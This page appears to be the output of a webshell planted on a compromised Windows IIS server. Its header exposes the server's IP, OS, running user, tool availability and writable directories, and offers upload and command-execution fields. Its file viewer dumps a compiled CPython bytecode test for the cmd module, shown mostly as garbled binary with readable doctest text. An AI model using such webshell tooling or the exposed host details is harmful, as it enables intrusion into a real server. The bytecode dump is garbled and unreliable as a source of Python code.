403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_cmd.cpython-313.pyc
�

��is ���SrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSK	J
r
 SSKJr "SS\R5r"SS	\R5r"S
S\R5r\R$"5"SS
\R55rSr\S:Xa8S\R,;a\"5R/5 g\R0"5 gg)z@
Test script for the 'cmd' module
Original by Michael Schneider
�N)�support��
import_module)�run_ptyc�T�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rg)�samplecmdclass�a;
Instance the sampleclass:
>>> mycmd = samplecmdclass()

Test for the function parseline():
>>> mycmd.parseline("")
(None, None, '')
>>> mycmd.parseline("?")
('help', '', 'help ')
>>> mycmd.parseline("?help")
('help', 'help', 'help help')
>>> mycmd.parseline("!")
('shell', '', 'shell ')
>>> mycmd.parseline("!command")
('shell', 'command', 'shell command')
>>> mycmd.parseline("func")
('func', '', 'func')
>>> mycmd.parseline("func arg1")
('func', 'arg1', 'func arg1')


Test for the function onecmd():
>>> mycmd.onecmd("")
>>> mycmd.onecmd("add 4 5")
9
>>> mycmd.onecmd("")
9
>>> mycmd.onecmd("test")
*** Unknown syntax: test

Test for the function emptyline():
>>> mycmd.emptyline()
*** Unknown syntax: test

Test for the function default():
>>> mycmd.default("default")
*** Unknown syntax: default

Test for the function completedefault():
>>> mycmd.completedefault()
This is the completedefault method
>>> mycmd.completenames("a")
['add']

Test for the function completenames():
>>> mycmd.completenames("12")
[]
>>> mycmd.completenames("help")
['help']

Test for the function complete_help():
>>> mycmd.complete_help("a")
['add']
>>> mycmd.complete_help("he")
['help']
>>> mycmd.complete_help("12")
[]
>>> sorted(mycmd.complete_help(""))
['add', 'exit', 'help', 'life', 'meaning', 'shell']

Test for the function do_help():
>>> mycmd.do_help("testet")
*** No help on testet
>>> mycmd.do_help("add")
help text for add
>>> mycmd.onecmd("help add")
help text for add
>>> mycmd.onecmd("help meaning")  # doctest: +NORMALIZE_WHITESPACE
Try and be nice to people, avoid eating fat, read a good book every
now and then, get some walking in, and try to live together in peace
and harmony with people of all creeds and nations.
>>> mycmd.do_help("")
<BLANKLINE>
Documented commands (type help <topic>):
========================================
add  help
<BLANKLINE>
Miscellaneous help topics:
==========================
life  meaning
<BLANKLINE>
Undocumented commands:
======================
exit  shell
<BLANKLINE>

Test for the function print_topics():
>>> mycmd.print_topics("header", ["command1", "command2"], 2 ,10)
header
======
command1
command2
<BLANKLINE>

Test for the function columnize():
>>> mycmd.columnize([str(i) for i in range(20)])
0  1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19
>>> mycmd.columnize([str(i) for i in range(20)], 10)
0  7   14
1  8   15
2  9   16
3  10  17
4  11  18
5  12  19
6  13

This is an interactive test, put some commands in the cmdqueue attribute
and let it execute
This test includes the preloop(), postloop(), default(), emptyline(),
parseline(), do_help() functions
>>> mycmd.use_rawinput=0

>>> mycmd.cmdqueue=["add", "add 4 5", "", "help", "help add", "exit"]
>>> mycmd.cmdloop()  # doctest: +REPORT_NDIFF
Hello from preloop
*** invalid number of arguments
9
9
<BLANKLINE>
Documented commands (type help <topic>):
========================================
add  help
<BLANKLINE>
Miscellaneous help topics:
==========================
life  meaning
<BLANKLINE>
Undocumented commands:
======================
exit  shell
<BLANKLINE>
help text for add
Hello from postloop
c��[S5 g)NzHello from preloop��print��selfs �"C:\Python313\\Lib\test\test_cmd.py�preloop�samplecmdclass.preloop�s��
�"�#�c��[S5 g)NzHello from postlooprr
s r�postloop�samplecmdclass.postloop�s��
�#�$rc��[S5 g)Nz"This is the completedefault methodr)r�ignoreds  r�completedefault�samplecmdclass.completedefault�s��
�2�3rc��[S5 g)Nzcomplete commandrr
s r�complete_command�samplecmdclass.complete_command�s��
� �!rc��g�N�)r�ss  r�do_shell�samplecmdclass.do_shell�s��rc��UR5n[U5S:wa[S5 gUVs/sHn[U5PM nn[USUS-5 gs snf![a [S5 gf=f)N�z*** invalid number of argumentsz*** arguments should be numbersr�)�split�lenr�int�
ValueError)rr �l�is    r�do_add�samplecmdclass.do_add�sw��
�G�G�I���q�6�Q�;��3�4��	�!"�#��A��Q���A�#�	�a��d�1�Q�4�i���	$���	��3�4��	�s"�A"�A�A"�A"�"A:�9A:c��[S5 g)Nzhelp text for addrr
s r�help_add�samplecmdclass.help_add�s��
�!�"�rc��[S5 g)Nz�Try and be nice to people, avoid eating fat, read a good book every now and then, get some walking in, and try to live together in peace and harmony with people of all creeds and nations.rr
s r�help_meaning�samplecmdclass.help_meaning�s��
�2�	3�	rc��[S5 g)Nz&Always look on the bright side of liferr
s r�	help_life�samplecmdclass.help_life�s��
�6�7�rc��g�NTr)r�args  r�do_exit�samplecmdclass.do_exit�s��rrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrrrr!r,r/r2r5r:�__static_attributes__rrrrrs;��E�N$�%�4�"�
�
����rrc�`�\rSrSr"SS\R
5r"SS\5rSrSr	Sr
g	)
�TestAlternateInput��c� �\rSrSrSrSrSrg)�TestAlternateInput.simplecmd��c�*�[XRS9 g)N��file�r�stdout�r�argss  r�do_print�%TestAlternateInput.simplecmd.do_print�s���$�[�[�)rc��gr8rrMs  r�do_EOF�#TestAlternateInput.simplecmd.do_EOF�s��rrN)r<r=r>r?rOrRrArrr�	simplecmdrF�s��	*�	rrTc��\rSrSrSrSrg)�TestAlternateInput.simplecmd2��c�,�[SURS9 g)Nz*** Unknown syntax: EOFrITrKrMs  rrR�$TestAlternateInput.simplecmd2.do_EOF�s���+�$�+�+�>�rrN)r<r=r>r?rRrArrr�
simplecmd2rV�s��	rrZc���[R"S5n[R"5nURXS9nSUlUR"5 URUR
5S5 g)N�print test
print test2��stdinrLFz(Cmd) test
(Cmd) test2
(Cmd) )�io�StringIOrT�use_rawinput�cmdloop�assertMultiLineEqual�getvalue�r�input�output�cmds    r�test_file_with_missing_final_nl�2TestAlternateInput.test_file_with_missing_final_nl�sY�����5�6��������n�n�5�n�8�� ������
��!�!�&�/�/�"3��	rc��[R"S5n[R"5nURXS9nSUlUR"5 URUR
5S5 [R"S5n[R"5nXlX#lUR"5 URUR
5S5 g)Nr\r]Fz5(Cmd) test
(Cmd) test2
(Cmd) *** Unknown syntax: EOF
zprint 

z,(Cmd) 
(Cmd) 
(Cmd) *** Unknown syntax: EOF
)	r_r`rZrarbrcrdr^rLres    r�test_input_reset_at_EOF�*TestAlternateInput.test_input_reset_at_EOF�s������5�6��������o�o�E�o�9�� ������
��!�!�&�/�/�"3�/�	1����L�)��������	��
����
��!�!�&�/�/�"3�/�	1rrN)r<r=r>r?rh�CmdrTrZrirlrArrrrCrC�s(���C�G�G���Y��	�1rrCc��\rSrSrSrSrSrg)�CmdPrintExceptionClass�z�
GH-80731
cmd.Cmd should print the correct exception in default()
>>> mycmd = CmdPrintExceptionClass()
>>> try:
...     raise ValueError("test")
... except ValueError:
...     mycmd.onecmd("not important")
(<class 'ValueError'>, ValueError('test'))
c�F�[[R"5SS5 g)Nr$)r�sys�exc_info)r�lines  r�default�CmdPrintExceptionClass.defaults��
�c�l�l�n�R�a� �!rrN)r<r=r>r?r@rvrArrrrprp�s��	�"rrpc� �\rSrSrSrSrSrg)�CmdTestReadlinei
c��[S5ng)N�readliner)r{s r�
setUpClass�CmdTestReadline.setUpClasss��!��,�rc��[R"S5nSn[X5nURSU5 URSU5 g)Nz�
            import cmd
            class simplecmd(cmd.Cmd):
                def do_tab_completion_test(self, args):
                    print('tab completion success')
                    return True

            simplecmd().cmdloop()
        st	
sab_completion_teststab completion success)�textwrap�dedentr�assertIn)r�scriptrfrgs    r�test_basic_completion�%CmdTestReadline.test_basic_completionsD�����"�
������'���
�
�+�V�4��
�
�/��8rrN)r<r=r>r?r|r�rArrrryry
s��-�
9rryc�N�UR[R"55 U$r)�addTest�doctest�DocTestSuite)�loader�tests�patterns   r�
load_testsr�$s��	�M�M�'�&�&�(�)��Lr�__main__z-i)r@rhrsr��unittestr_r�testr�test.support.import_helperr�test.support.pty_helperrrnr�TestCaserCrp�requires_subprocessryr�r<�argvrb�mainrrr�<module>r�s�����
���	���4�+�s�S�W�W�s�l01��*�*�01�f
"�S�W�W�
"� 	����9�h�'�'�9��9�2�
�z���s�x�x���� � �"��
�
��	r

Youez - 2016 - github.com/yon3zu
LinuXploit